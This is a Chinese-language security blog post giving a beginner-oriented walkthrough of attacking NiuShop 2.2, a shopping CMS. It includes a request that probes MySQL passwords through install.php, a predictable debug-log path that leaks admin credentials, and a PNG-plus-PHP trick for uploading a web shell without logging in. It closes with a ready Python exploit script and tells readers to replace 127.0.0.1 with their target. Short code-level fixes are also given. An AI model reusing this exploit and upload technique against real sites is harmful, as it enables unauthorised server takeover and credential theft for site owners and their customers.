某CMS最新版本测试全过程（前台Getshell） Secer's Blog - 记录互联网安全历程与个人成长经历

本文适合0基础玩家。

0x01 环境搭建

Code：http://www.niushop.com.cn/download.html

Version：单商户 2.2

测试环境：MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor

0x02 黑盒测试

0x02_1 安装测试

下图为改数据包发送后的文件变化

关键步骤的数据包每进行一步骤通过Action发送到Repeater保存一份注意通过FileMonitor观察文件变化正常完成后再通过Repeater重新发送数据包并观察文件变化。

通过重新发送前面的数据包发现即便已经安装仍可以通过该数据包验证爆破mysql密码(如果mysql密码正确此处返回值为1 错误为0) 归咎与逻辑错误不算漏洞（如果外网可连接mysql 何必通过此处爆破）

POC：

GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install.php?refresh
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: action=db

验证另外几个数据包发现文件并无变化暂定为此处无漏洞。

0x02_2 后台测试

后台登录建议讲数据包发送到Repeater进行多次发送观察时候会有验证码等限制测试后台是否可爆破此处经过测试可爆破

Python Poc：

同时注意观察文件变化

如图发现会写出日志且目录命名简单可猜解

http://host.com/runtime/log/201901/03.log

即为 域名 + /runtime/log/ + 年月 + / + 号数 + .log

可访问查看是否存在敏感信息泄露

如图发现日志泄露了管理登录账号密码。

第一枚漏洞Get。

继续后台功能测试

从第一个功能开始测试每个功能均使用一遍持续观察文件变化！重要的数据包保存一份重发测试。

经过使用功能时发现此处仅不可直接上传php文件但是可在Repeater中修改图片为php继续上传将php文件修改为png格式后上传不通过说明此处上传只做了前端限制和检查了文件头此处先上传正常图片然后修改后缀以及文件中间的内容为php代码来Getshell。

需要注意此时时需要后台权限的可尝试修改后删除cookie测试上传能否继续完成。

通过多次修改和观察发现删除Cookie后可继续上传但是如过度删除图片内容会导致php文件虽然写入成功但是路径无法返回根据监控到的文件变化来看此处以文件hash命名导致无法爆破到路径可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。

通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试发现其实最要把php文件追加到图片后面就可以了

命令

Windows:type phpinfo.php >> poc.png
MacOS/Linux:cat phpinfo.php >> poc.png

至此该CMS前台Getshell完成。

其余功能测试同理。

0x03 代码分析

整理一下前面的漏洞

mysql密码爆破
根据url直接定位到install.php文件
第38到62行

if($_GET['action']){
    $dbserver = $_GET['dbserver'];
    $dbusername = $_GET['dbusername'];
    $dbpassword = $_GET['dbpassword'];
    $dbname = $_GET['dbname'];
    $link = mysql_connect($dbserver, $dbusername, $dbpassword);
    $query = mysql_query("SHOW DATABASES LIKE  '{$dbname}';");
    //                  var_dump($query);
    if(mysql_fetch_assoc($query) != false){
        //说明数据库已经存在
        echo 1;
        exit();
    }else{
        echo 0;
        exit();
    }
}
$actions = array('license', 'env', 'db', 'finish');
$action = $_COOKIE['action'];
$action = in_array($action, $actions) ? $action : 'license';
$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {
    header('location: ./index.php/shop');
    exit;
}

显而易见在判断install.lock文件是否存在之前就进行数据库验证不受install.lock的影响属于逻辑问题调整一下代码的位置或删除install.php即可修复。

敏感日志泄露
定位到application/admin/controller/index.php文件第40行到68行代码如下

public function index()
    {
        $debug = config('app_debug') == true ? '开发者模式' : '部署模式';
        $this->assign('debug', $debug);
        $main = \think\Request::instance()->domain();
        $this->assign('main', $main);
        // 销售排行
        $goods_rank = $this->getGoodsRealSalesRank();
        $this->assign("goods_list", $goods_rank);
        $this->assign("is_index", true);

        //快捷菜单选项
        $config_service = new Config();
        $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);
        $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);

        //快捷菜单id数组
        $selected_ids = [];
        foreach($shortcut_menu_list['data'] as $key=>$val){
            $selected_ids[] = $val['module_id'];
        }
        $this->assign('selected_ids',$selected_ids);

        $this->assign('is_show_shortcut_menu',1);

        $this->getSystemConfig();

        return view($this->style . 'Index/index');
    }

如42行所示app_debug模式默认为true 为开启状态改cms是基于thinkphp编写的 debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线以解决此问题

前台Getshell
定位到application/admin/controller/Upload.php文件第556行到568行代码如下

// 验证文件
        if (! $this->validationFile()) {
            return $this->ajaxFileReturn();
        }
        $guid = time();
        $file_name_explode = explode(".", $this->file_name); // 图片名称
        $suffix = count($file_name_explode) - 1;
        $ext = "." . $file_name_explode[$suffix]; // 获取后缀名
                                                  // 获取原文件名
        $tmp_array = $file_name_explode;
        unset($tmp_array[$suffix]);
        $file_new_name = implode(".", $tmp_array);
        $newfile = md5($file_new_name . $guid) . $ext;

后台明没有后缀限制上传成功后的新文件($newfile) 的后缀是从源文件中$ext取出来的导致了后缀可控

0x04 Poc编写

import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)

将poc种的127.0.0.1替换成目标即可

懒人攻略：用附录中的burp插件scriptgen-burp-plugin-6.jar即可快捷生成